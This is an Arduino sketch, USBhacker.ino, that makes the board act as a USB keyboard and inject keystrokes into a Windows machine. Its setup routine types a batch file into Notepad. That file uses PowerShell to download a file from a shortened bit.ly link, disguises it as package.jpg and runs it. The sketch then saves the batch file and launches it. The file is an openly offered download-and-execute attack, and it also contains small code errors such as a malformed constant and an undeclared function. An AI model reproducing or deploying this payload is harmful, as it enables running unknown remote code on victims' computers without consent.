USBhacker.ino

#define KEY_LEFT_CTRL  0x01
#define KEY_LEFT_SHIFT  0x02
#define KEY_LEFT_ALT    0x04
#define KEY_LEFT_GUI    0x08
#define KEY_RIGHT_CTRL  0x10
#define KEY_RIGHT_SHIFT 0x20
#define KEY_RIGHT_ALT   0x40
#define KEY_RIGHT_GUI   0x80
#define KEY_RIGHT_ARROW 0x4F
#define KEY_LEFT_ARROW  0x50
#define KEY_DOWN_ARROW  0x51
#define KEY_UP_ARROW    0x52
#define KEY_ESC         0x29T
#define KEY_F1          0x3A
#define KEY_F2          0x3B
#define KEY_F3          0x3C
#define KEY_F4          0x3D
#define KEY_F5          0x3E
#define KEY_F6          0x3F
#define KEY_F7          0x40
#define KEY_F8          0x41
#define KEY_F9          0x42
#define KEY_F10         0x43
#define KEY_F11         0x44
#define KEY_F12         0x45
#define KEY_PRTSCR      0x46
#define KEY_SCRLK       0x47
#define KEY_PAUSE       0x48
#define KEY_DEL         0x4C
#define KEY_INS         0x49
#define KEY_END         0x4D
#define KEY_HOME        0x4A
#define KEY_PGDN        0x4E
#define KEY_PGUP        0x4B
#define KEY_BACKSPC     0x2A
#define KEY_TAB         0x2B
#define KEY_ENTER       0x28
#define KEY_SPC         0x2C
#define KEY_MUTE        0x7F
#define KEY_VOL_UP      0x80
#define KEY_VOL_DOWN    0x81
#define KEY_NONE 0x37
#define KEY_S 0x16

uint8_t buf[8] = { 0 }; /* Keyboard report buffer */

void setup();
void loop();
void STRING(char *);
void DELAY(unsigned t);
void CTRL_ALT(char *c);
void ENTER();
void WINDOWS(char *c);
void CTRL_ALT_DEL();
void ALT_F2();
void TAB();

void setup() {
    Serial.begin(9600);  
    delay(5000);
    WINDOWS("r");
    STRING("Notepad.exe");
    ENTER();
    delay(500);
    STRING("@echo off");
    ENTER();
    STRING("%SYSTEMROOT%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command \"(New-Object Net.WebClient).DownloadFile('https://bit.ly/2K3kRlh', 'package.jpg')\"");
    ENTER();
    STRING("%SYSTEMROOT%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command \"Invoke-WebRequest https://bit.ly/2K3kRlh -OutFile package.jpg\"");
    ENTER();
    STRING(".\\package.jpg");
    SAVE();
    delay(2000);
    STRING("chk.bat");
    ENTER();
    WINDOWS("r");
    delay(2000);
    STRING("C:\\Users\\DELL\\Documents\\chk.bat");
    ENTER();
    
    
    
}

void loop() {
    
    DELAY(200);   
               
}
void SAVE(){
    buf[0] = KEY_LEFT_CTRL;
    
    buf[2] = KEY_S;
    

    Serial.write(buf, 8); // Send keypress
    buf[0] = 0;
    buf[2] = 0;
    Serial.write(buf, 8);
}
void ALT_F2(){
    buf[0] = KEY_LEFT_ALT;
    buf[2] = KEY_F2;
    
    Serial.write(buf, 8); // Send keypress
    buf[0] = 0;
    buf[2] = 0;
    Serial.write(buf, 8);
}


void STRING(char *txt){
    while(*txt){
        if(*txt >= 'a' && *txt <= 'z'){
            buf[2] = *txt - 'a' + 4;
        }
        else if(*txt >= 'A' && *txt <= 'Z'){
            buf[0] = KEY_LEFT_SHIFT;
            
            buf[2] = *txt - 'A' + 4;
        }
        else if(*txt >= '0' && *txt <= '9'){
            if(*txt == '0'){
                buf[2] = *txt - 9;
            }
            else{
                buf[2] = *txt - 19;
            }
        }
         else if(*txt == '@'){
             buf[0] = KEY_LEFT_SHIFT;
             buf[2] = 0x1f;
        }
        else if(*txt == '%'){
             buf[0] = KEY_LEFT_SHIFT;
             buf[2] = 0x22;
        }
        else if(*txt == ':'){
            buf[0] = KEY_LEFT_SHIFT;
            buf[2] = 0x33;
        }
        else if(*txt == '\''){
            buf[2] = 0x34;
        }
         else if(*txt == '\\'){
            buf[2] = 0x31;
        }
        else if(*txt == ' '){
            buf[2] = KEY_SPC;
        }
        else if(*txt == '&'){
            buf[0] = KEY_LEFT_SHIFT;
            buf[2] = 0x24;
        }
        else if(*txt == '>'){
            buf[0] = KEY_LEFT_SHIFT;
            buf[2] = KEY_NONE;
        }
        //else if(*txt == '<'){      // for <
          //  buf[0] = KEY_LEFT_SHIFT;
          //  buf[2] = 0x36;
        //}
        else if(*txt == '/'){
            buf[2] = 0x38;
        }
        else if(*txt == '|'){
            buf[0] = KEY_LEFT_SHIFT;
            buf[2] = 0x64;
        }
        else if(*txt == '/'){
            buf[0] = KEY_RIGHT_ALT;
            buf[2] = 0x14;
        }
        else if(*txt == '\\'){
            buf[2] = 0x31;
        }
        else if(*txt == '"'){
            buf[0] = KEY_LEFT_SHIFT;
            buf[2] = 0x34;
        }
        else if(*txt == ';'){
            buf[2] = 0x33;
        }
        else if(*txt == '('){
            buf[0] = KEY_LEFT_SHIFT;
            buf[2] = 0x26;
        }
        else if(*txt == ')'){
            buf[0] = KEY_LEFT_SHIFT;
            buf[2] = 0x27;
        }
        else if(*txt == '{'){
            buf[0] = KEY_RIGHT_ALT;
            buf[2] = 0x24;
        }
        else if(*txt == '}'){
            buf[0] = KEY_RIGHT_ALT;
            buf[2] = 0x27;
        }
        else if(*txt == '['){
            buf[0] = KEY_RIGHT_ALT;
            buf[2] = 0x25;
        }
        else if(*txt == ']'){
            buf[0] = KEY_RIGHT_ALT;
            buf[2] = 0x26;
        }
        else if(*txt == '-'){
            buf[2] = 0x2D;
        }
        else if(*txt == '+'){
            buf[0] = KEY_LEFT_SHIFT;
            buf[2] = 0x2D;
        }
        else if(*txt == '='){
            buf[2] = 0x2E;
        }
        else if(*txt == '.'){
            buf[2] = 0x37;
        }
        
        else if(*txt == ','){
            buf[2] = 0x36;
        }
        else{
            buf[2] = KEY_NONE;
        }
        
        Serial.write(buf, 8); // Send keypress
        buf[0] = 0;
        buf[2] = 0;
        Serial.write(buf, 8); // Release key
        txt++;
    }
}

void DELAY(unsigned t){
    delay(t);
}

void CTRL_ALT(char *c){
    buf[0] = KEY_LEFT_CTRL + KEY_LEFT_ALT;
    buf[2] = c[0] - 'a' + 4;
    
    Serial.write(buf, 8); // Send keypress
    buf[0] = 0;
    buf[2] = 0;
    Serial.write(buf, 8);
}

void WINDOWS(char *c){
    buf[0] = KEY_LEFT_GUI;
    
    if(c[0] >= 'a' && c[0] <= 'z'){
        buf[2] = c[0] - 'a' + 4;
    }

    Serial.write(buf, 8); // Send keypress
    buf[0] = 0;
    buf[2] = 0;
    Serial.write(buf, 8);
}

void ENTER(){
    buf[2] = KEY_ENTER;
    
    Serial.write(buf, 8); // Send keypress
    buf[0] = 0;
    buf[2] = 0;
    Serial.write(buf, 8);
}

void CTRL_ALT_DEL(){
    buf[0] = KEY_LEFT_CTRL + KEY_LEFT_ALT;
    buf[2] = 0x63;

    Serial.write(buf, 8); // Send keypress
    buf[0] = 0;
    buf[2] = 0;
    Serial.write(buf, 8);
}

void TAB(){
    buf[2] = KEY_TAB;
    
    Serial.write(buf, 8); // Send keypress
    buf[0] = 0;
    buf[2] = 0;
    Serial.write(buf, 8);
}